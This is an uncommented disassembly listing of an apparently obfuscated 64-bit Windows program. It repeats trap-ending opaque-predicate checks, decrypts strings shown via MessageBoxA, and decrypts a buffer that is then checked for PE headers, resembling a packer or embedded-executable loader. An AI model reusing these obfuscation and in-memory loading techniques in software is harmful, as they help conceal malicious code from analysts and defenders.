cmp rax, rcx
je 0x140012e0b
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012e0b
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012e2b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
test rbx, rbx
je 0x14001f0c8
cmp qword [rbp + 0x10f8], r14
je 0x14001f0c8
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140012eeb
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012ecb
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012ecb
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012eeb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.14002021c
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.1400a81d0
mov rax, qword gs:[0xd]
mov edi, 0x92f30d33
cmp rax, r13
jne 0x140012fcd
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x1b6c2ecb
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140012fad
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140012fad
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140012fcd
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140013077
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140013057
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140013057
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140013077
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.140020918
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140013142
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x1b6c2ecb
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140013122
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140013122
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140013142
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x1400131ec
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400131cc
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400131cc
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400131ec
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r14
mov r8d, r14d
mov rdi, r14
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x140013219
mov esi, r14d
movabs r11, 0x8080808080808081
test r15, r15
je 0x14001333b
mov rcx, r14
mov rax, r11
mul r15
mov r8, rdx
shr r8, 7
add r8b, r15b
mov r9, rbx
mov r12, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov r14d, edi
xor r11d, r11d
lea rbx, [rbp + 0xfe8]
movzx ecx, byte [rbx]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xfe8]
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r11d
inc rbx
cmp r11d, 8
jb 0x1400132aa
movzx ecx, r10b
add ecx, r14d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc esi
inc r9
movsxd rcx, esi
cmp rcx, r15
jb 0x14001328c
mov rbx, qword [rbp - 0x40]
xor r14d, r14d
mov r12d, 0xec8a9920
movabs r11, 0x8080808080808081
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x1400133e5
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400133c5
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400133c5
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400133e5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
mov esi, 0x1b6c2ecb
mov edi, 0x92f30d33
cmp rax, r13
jne 0x1400134a8
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140013488
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140013488
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400134a8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x140013552
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140013532
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140013532
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140013552
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
mov ecx, 0x5a4d
cmp word [rbx], cx
je 0x14001393e
cmp rax, r13
jne 0x140013614
mov rax, qword gs:[0x1e]
movabs rcx, 0x4e682bb16d2bb992
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400135f4
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400135f4
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140013614
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140085718
int3
movdqa xmm0, xmmword [0x1400c69c0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], Ordinal_41
mov r10, r14
movabs rbx, 0x17e85ebec
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1966e4aaac
movabs r9, 0x32cdc95558
movabs r15, 0x8080808080808081
movabs r13, 0x17e85ebeb
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140013668
mov byte [rbp + 0x2a1], r14b
movdqa xmm0, xmmword [0x1400c6810]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400c6840]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400c6940]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0x45c05a60
mov dword [rbp + 0xc8c], 0xbb947b02
mov dword [rbp + 0xc90], 0x51d01f37
mov word [rbp + 0xc94], 0x5e
mov r9, r14
mov r10d, 0x3d
movabs r8, 0x5b25e9373c
movabs r11, 0xb64bd26e78
mov r13d, 0xae5f3bfe
movabs r12, 0x17e85ebeb
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r15
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140013750
mov byte [rbp + 0xc95], r14b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword gs:[0xd]
cmp rcx, r13
mov r12d, 0xec8a9920
jne 0x140013890
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x92f30d33
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140013870
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140013870
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140013890
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r13
jne 0x14001f3e8
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001391e
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001391e
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f3e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
cmp rax, r13
jne 0x1400139df
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400139bf
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400139bf
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400139df
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
movsxd r13, dword [rbx + 0x3c]
add r13, rbx
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[0xd]
mov r15d, 0xae5f3bfe
movabs rbx, 0x4e682bb16d2bb992
cmp rax, r15
jne 0x140013aa7
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140013a87
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140013a87
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140013aa7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x140013e8b
cmp rax, r15
jne 0x140013b61
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140013b41
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140013b41
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140013b61
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
movdqa xmm0, xmmword [0x1400c69c0]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], Ordinal_41
mov r10, r14
movabs rbx, 0x17e85ebec
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1966e4aaac
movabs r9, 0x32cdc95558
movabs r13, 0x8080808080808081
movabs r15, 0x17e85ebeb
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r13
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140013bb5
mov byte [rbp + 0x3d9], r14b
movdqa xmm0, xmmword [0x1400c6810]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400c6820]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400c6940]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0x45c05a60
mov dword [rbp + 0xccc], 0xbb947b02
mov dword [rbp + 0xcd0], 0x51d01f37
mov word [rbp + 0xcd4], 0x5e
mov r9, r14
mov r10d, 0x3d
movabs r8, 0x5b25e9373c
movabs r11, 0xb64bd26e78
mov r15d, 0xae5f3bfe
movabs r12, 0x17e85ebeb
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140013c9d
mov byte [rbp + 0xcd5], r14b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0xd]
cmp rax, r15
mov r12d, 0xec8a9920
jne 0x140013ddd
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x92f30d33
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140013dbd
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140013dbd
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140013ddd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x14001f3e8
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140013e6b
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140013e6b
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001f3e8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
cmp rax, r15
jne 0x140013f3d
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140013f1d
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140013f1d
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140013f3d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400c68b0]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0x1c006c4b
mov dword [rbp + 0x98c], 0x5dddd94f
mov dword [rbp + 0x990], 0x2d1425aa
mov word [rbp + 0x994], 0xdd48
mov byte [rbp + 0x996], al
mov r8, r14
movabs rsi, 0x17e85ebeb
lea r10d, [rax + 0x1e]
movabs r9, 0x2cd3b1a5a8
movabs r12, 0x17e85ebec
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x59a7634b50
cmp r9, rax
jb 0x140013fb2
mov byte [rbp + 0x996], r14b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400c67a0]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400c6670]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r14
movabs rbx, 0x5ca46f2328
mov r10d, Ordinal_33
movabs r9, 0x2e52379194
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, rbx
jb 0x14001406b
mov byte [rbp + 0xaf7], r14b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.14001f3f4
mov rax, qword gs:[0xd]
cmp rax, r15
movabs rbx, 0x4e682bb16d2bb992
mov esi, 0xec8a9920
jne 0x1400141d9
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400141b9
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400141b9
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400141d9
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
mov edi, 0x1b6c2ecb
cmp rax, r15
jne 0x14001429a
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x92f30d33
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x1e]
xor edx, edx
mov eax, 0x3d33a2ba
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001427a
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001427a
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001429a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
xor ecx, ecx
call fcn.140089e44
mov rcx, rax
call fcn.140085724
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x140014353
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014333
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014333
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014353
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x1400143fd
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400143dd
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400143dd
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400143fd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x1400144a7
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014487
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014487
mov rcx, qword gs:[0x1e]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400144a7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140085718
int3
mov rax, qword gs:[0xd]
cmp rax, r15
jne 0x140014551
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x1e]
xor rax, rbx
mov qword [rbp + 0xf40], rax
